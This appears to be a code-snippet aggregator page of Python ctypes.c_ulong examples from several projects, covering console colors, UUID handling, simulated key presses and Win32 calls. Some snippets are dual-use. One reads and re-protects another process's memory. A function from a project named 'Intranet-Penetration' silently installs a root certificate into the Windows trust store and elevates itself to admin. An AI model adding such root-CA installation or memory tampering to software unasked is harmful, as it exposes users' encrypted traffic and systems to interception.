    http://msdn.microsoft.com/en-us/library/windows/desktop/ms683231
    https://code.google.com/p/colorama/issues/detail?id=47
    https://bitbucket.org/pytest-dev/py/src/4617fe46/py/_io/terminalwriter.py

    Windows 10 Insider since around February 2016 finally introduced support for ANSI colors. No need to replace stdout
    and stderr streams to intercept colors and issue multiple SetConsoleTextAttribute() calls for these consoles.

    :raise OSError: When GetConsoleScreenBufferInfo or GetConsoleMode API calls fail.

    :param ctypes.windll.kernel32 kernel32: Loaded kernel32 instance.
    :param int handle: stderr or stdout handle.

    :return: Foreground and background colors (integers) as well as native ANSI support (bool).
    :rtype: tuple
    """
    # Query Win32 API.
    csbi = ConsoleScreenBufferInfo()  # Populated by GetConsoleScreenBufferInfo.
    lpcsbi = ctypes.byref(csbi)
    dword = ctypes.c_ulong()  # Populated by GetConsoleMode.
    lpdword = ctypes.byref(dword)
    if not kernel32.GetConsoleScreenBufferInfo(handle, lpcsbi) or not kernel32.GetConsoleMode(handle, lpdword):
        raise ctypes.WinError()

    # Parse data.
    # buffer_width = int(csbi.dwSize.X - 1)
    # buffer_height = int(csbi.dwSize.Y)
    # terminal_width = int(csbi.srWindow.Right - csbi.srWindow.Left)
    # terminal_height = int(csbi.srWindow.Bottom - csbi.srWindow.Top)
    fg_color = csbi.wAttributes % 16
    bg_color = csbi.wAttributes & 240
    native_ansi = bool(dword.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING)

    return fg_color, bg_color, native_ansi
项目:LoLVRSpectate    作者:Fire-Proof    | 项目源码 | 文件源码
def VirtualProtectEx(self, base_address, size, protection):
        old_protect = c_ulong(0)
        if not windll.kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):
            raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))
        return old_protect.value
项目:LoLVRSpectate    作者:Fire-Proof    | 项目源码 | 文件源码
def read_bytes(self, address, bytes = 4):
        address = int(address)
        if not self.isProcessOpen:
            raise ProcessException("Can't read_bytes(%s, bytes=%s), process %s is not open" % (address, bytes, self.pid))
        buffer = create_string_buffer(bytes)
        bytesread = c_ulong(0)
        data = b''
        length = bytes
        _address = address
        _length = length
        while length:
            if not windll.kernel32.ReadProcessMemory(self.h_process, address, buffer, bytes, byref(bytesread)):
                if bytesread.value:
                    data += buffer.raw[:bytesread.value]
                    length -= bytesread.value
                    address += bytesread.value
                if not len(data):
                    raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (win32api.GetLastError(),
                     address,
                     length,
                    bytesread.value))
                return data
            data += buffer.raw[:bytesread.value]
            length -= bytesread.value
            address += bytesread.value

        return data
项目:python-stitch-client    作者:stitchdata    | 项目源码 | 文件源码
def from_rep(u):
        """Given a string, return a UUID object."""
        if isinstance(u, pyversion.string_types):
            return uuid.UUID(u)

        # hack to remove signs
        a = ctypes.c_ulong(u[0])
        b = ctypes.c_ulong(u[1])
        combined = a.value << 64 | b.value
        return uuid.UUID(int=combined)
项目:rfcat-firsttry    作者:atlas0fd00m    | 项目源码 | 文件源码
def isSysWow64():
    k32 = ctypes.windll.kernel32
    if not hasattr(k32, 'IsWow64Process'):
        return False
    ret = ctypes.c_ulong(0)
    myproc = ctypes.c_size_t(-1)
    if not k32.IsWow64Process(myproc, ctypes.addressof(ret)):
        return False
    return bool(ret.value)
项目:Rapider    作者:yazdipour    | 项目源码 | 文件源码
def _key_control(self, key, action):
    ip = INPUT()

    INPUT_KEYBOARD = 0x00000001
    ip.type = INPUT_KEYBOARD
    ip.ki.wScan = 0
    ip.ki.time = 0
    a = user32.GetMessageExtraInfo()
    b = cast(a, POINTER(c_ulong))
    # ip.ki.dwExtraInfo

    ip.ki.wVk = key
    ip.ki.dwFlags = action
    user32.SendInput(1, byref(ip), sizeof(INPUT))
项目:OSPTF    作者:xSploited    | 项目源码 | 文件源码
def __init__(self, write_color):
        from ctypes import c_ulong, windll
        STD_OUTPUT_HANDLE_ID = c_ulong(0xfffffff5)
        windll.Kernel32.GetStdHandle.restype = c_ulong
        self.std_output_hdl = windll.Kernel32.GetStdHandle(STD_OUTPUT_HANDLE_ID)
        self.SetConsoleTextAttribute=windll.Kernel32.SetConsoleTextAttribute
        self.write_color=write_color
项目:OpenAI_Challenges    作者:AlwaysLearningDeeper    | 项目源码 | 文件源码
def PressKey(hexKeyCode):
    extra = ctypes.c_ulong(0)
    ii_ = Input_I()
    ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008, 0, ctypes.pointer(extra) )
    x = Input( ctypes.c_ulong(1), ii_ )
    ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
项目:OpenAI_Challenges    作者:AlwaysLearningDeeper    | 项目源码 | 文件源码
def ReleaseKey(hexKeyCode):
    extra = ctypes.c_ulong(0)
    ii_ = Input_I()
    ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008 | 0x0002, 0, ctypes.pointer(extra) )
    x = Input( ctypes.c_ulong(1), ii_ )
    ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def is_64bit():
        return ctypes.sizeof(ctypes.c_ulong) != ctypes.sizeof(ctypes.c_void_p)
项目:sptgraph    作者:epfl-lts2    | 项目源码 | 文件源码
def reform_layer_int_from_blocks(blocks):
    res = ''
    for b in blocks[::-1]:  # reverse the order
        res += bin(ctypes.c_ulong(b).value)[2:]
    res = '0b' + res
    return int(res, 2)
项目:Intranet-Penetration    作者:yuxiaokui    | 项目源码 | 文件源码
def import_windows_ca(common_name, certfile):
        import ctypes
        with open(certfile, 'rb') as fp:
            certdata = fp.read()
            if certdata.startswith(b'-----'):
                begin = b'-----BEGIN CERTIFICATE-----'
                end = b'-----END CERTIFICATE-----'
                certdata = base64.b64decode(b''.join(certdata[certdata.find(begin)+len(begin):certdata.find(end)].strip().splitlines()))
            crypt32 = ctypes.WinDLL(b'crypt32.dll'.decode())
            store_handle = crypt32.CertOpenStore(10, 0, 0, 0x4000 | 0x20000, b'ROOT'.decode())
            if not store_handle:
                return False
            CERT_FIND_SUBJECT_STR = 0x00080007
            CERT_FIND_HASH = 0x10000
            X509_ASN_ENCODING = 0x00000001
            class CRYPT_HASH_BLOB(ctypes.Structure):
                _fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.c_char_p)]
            assert CertUtil.ca_thumbprint
            crypt_hash = CRYPT_HASH_BLOB(20, binascii.a2b_hex(CertUtil.ca_thumbprint.replace(':', '')))
            crypt_handle = crypt32.CertFindCertificateInStore(store_handle, X509_ASN_ENCODING, 0, CERT_FIND_HASH, ctypes.byref(crypt_hash), None)
            if crypt_handle:
                crypt32.CertFreeCertificateContext(crypt_handle)
                return True

            ret = crypt32.CertAddEncodedCertificateToStore(store_handle, 0x1, certdata, len(certdata), 4, None)
            crypt32.CertCloseStore(store_handle, 0)
            del crypt32


            if not ret and __name__ != "__main__":
                #res = CertUtil.win32_notify(msg=u'Import PHP_proxy Ca?', title=u'Authority need')
                #if res == 2:
                #    return -1

                import win32elevate
                win32elevate.elevateAdminRun(os.path.abspath(__file__))
                return True

            return True if ret else False